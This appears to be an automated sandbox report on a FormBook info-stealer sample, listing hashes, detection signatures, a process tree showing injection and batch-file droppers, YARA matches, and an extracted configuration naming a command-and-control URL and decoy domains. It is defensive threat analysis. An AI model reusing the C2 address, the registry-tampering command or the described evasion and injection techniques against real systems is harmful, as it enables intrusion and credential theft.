Play interactive tour

Edit tour

Windows Analysis Report fTset285bI.exe

Overview

General Information

Sample Name:	fTset285bI.exe
Analysis ID:	491713
MD5:	1fb012f2414da5a3515f704e855ab770
SHA1:	1d5ff9db7dfeaf2d4b0200fbbda00e89d058f525
SHA256:	6caf3e91a0bb501d8e7d08d8463407315debb31757137e5362795d91c161e6d6
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Writes to foreign memory regions

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Creates a thread in another existing process (thread injection)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

One or more processes crash

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

PE file contains strange resources

Drops PE files

Checks if the current process is being debugged

Uses reg.exe to modify the Windows registry

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

fTset285bI.exe (PID: 6356 cmdline: 'C:\Users\user\Desktop\fTset285bI.exe' MD5: 1FB012F2414DA5A3515F704E855AB770)

secinit.exe (PID: 6840 cmdline: C:\Windows\System32\secinit.exe MD5: 174A363BB5A2D88B224546C15DD10906)

WerFault.exe (PID: 3532 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6840 -s 240 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cmd.exe (PID: 6820 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' ' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5312 cmdline: C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6436 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' ' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 5836 cmdline: reg delete hkcu\Environment /v windir /f MD5: CEE2A7E57DF2A159A065A34913A055C2)

conhost.exe (PID: 5784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Qybpdxz.exe (PID: 7140 cmdline: 'C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe' MD5: 1FB012F2414DA5A3515F704E855AB770)

mobsync.exe (PID: 1312 cmdline: C:\Windows\System32\mobsync.exe MD5: 44C19378FA529DD88674BAF647EBDC3C)

WerFault.exe (PID: 5584 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1312 -s 484 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

Qybpdxz.exe (PID: 5944 cmdline: 'C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe' MD5: 1FB012F2414DA5A3515F704E855AB770)

secinit.exe (PID: 4788 cmdline: C:\Windows\System32\secinit.exe MD5: 174A363BB5A2D88B224546C15DD10906)

WerFault.exe (PID: 7036 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 236 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.llaa11.xyz/scb0/"], "decoy": ["austinsv.net", "nothernballet.com", "mycoursey.com", "exodiduis.com", "frankserranolaw.com", "dingyiemail.com", "woodstocktimbersandbeams.com", "somphones.com", "goalcations.com", "boraeresici.com", "spiegelverwarming.store", "8676789.rest", "tametaverse.com", "suppliesdevon.com", "sergiofisheronmcl.com", "reevophilippines.com", "oemlift.com", "helloworld.agency", "klaydoge.com", "cristinadiasoficial.com", "rentalsbox.com", "mydigbook.icu", "karamanescortbayan.xyz", "pyxis.digital", "kak-izbavitsya.xyz", "brakepad114.com", "scribr.net", "accountable-measures.com", "tj5288.com", "profit-fx.com", "melomis.com", "afroditas.online", "mvptcodesupport.com", "immerseinagro.com", "mustibayankuaforu.com", "ticketpremiado.com", "xxxpornmodels.com", "regalosyartesania.com", "imaginariss.com", "blockart.digital", "cn363.com", "titanpestsolutions.com", "laceswap.store", "individucars.com", "ysgo.club", "wpzone.online", "fromtotravel.com", "hbpartyrentals.com", "tectonicvi.com", "gaia32.com", "tubesn.com", "c7performance.com", "andysmittkamp.com", "wildcatsclan.net", "arbiafashion.com", "ivonnedekeizer.com", "kmarket.club", "deployinghigh.com", "sasanos.com", "rick078.xyz", "shahroodisales.com", "chillrn.com", "xn--2ckzf.com", "14ideedumois.com"]}

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\zxdpbyQ.url	Methodology_Contains_Shortcut_OtherURIhandlers	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x14:$file: URL= 0x0:$url_explicit: [InternetShortcut]

Memory Dumps

Source	Rule	Description	Author	Strings
00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x136a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x137a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1391f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x83aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1240c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19c2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15aa9:$sqlite3step: 68 34 1C 7B E1 0x15bbc:$sqlite3step: 68 34 1C 7B E1 0x15ad8:$sqlite3text: 68 38 2A 90 C5 0x15bfd:$sqlite3text: 68 38 2A 90 C5 0x15aeb:$sqlite3blob: 68 53 D8 7F 8C 0x15c13:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 31 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.llaa11.xyz/scb0/"], "decoy": ["austinsv.net", "nothernballet.com", "mycoursey.com", "exodiduis.com", "frankserranolaw.com", "dingyiemail.com", "woodstocktimbersandbeams.com", "somphones.com", "goalcations.com", "boraeresici.com", "spiegelverwarming.store", "8676789.rest", "tametaverse.com", "suppliesdevon.com", "sergiofisheronmcl.com", "reevophilippines.com", "oemlift.com", "helloworld.agency", "klaydoge.com", "cristinadiasoficial.com", "rentalsbox.com", "mydigbook.icu", "karamanescortbayan.xyz", "pyxis.digital", "kak-izbavitsya.xyz", "brakepad114.com", "scribr.net", "accountable-measures.com", "tj5288.com", "profit-fx.com", "melomis.com", "afroditas.online", "mvptcodesupport.com", "immerseinagro.com", "mustibayankuaforu.com", "ticketpremiado.com", "xxxpornmodels.com", "regalosyartesania.com", "imaginariss.com", "blockart.digital", "cn363.com", "titanpestsolutions.com", "laceswap.store", "individucars.com", "ysgo.club", "wpzone.online", "fromtotravel.com", "hbpartyrentals.com", "tectonicvi.com", "gaia32.com", "tubesn.com", "c7performance.com", "andysmittkamp.com", "wildcatsclan.net", "arbiafashion.com", "ivonnedekeizer.com", "kmarket.club", "deployinghigh.com", "sasanos.com", "rick078.xyz", "shahroodisales.com", "chillrn.com", "xn--2ckzf.com", "14ideedumois.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: fTset285bI.exe	Virustotal: Detection: 28%			Perma Link
Source: fTset285bI.exe	ReversingLabs: Detection: 26%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Virustotal: Detection: 28%			Perma Link
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	ReversingLabs: Detection: 26%

Source: fTset285bI.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.6:49746 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbo1 source: WerFault.exe, 0000000F.00000003.409099360.00000000057F1000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.406022334.0000000003708000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.489730419.0000000004E5F000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.514625482.000000000491E000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
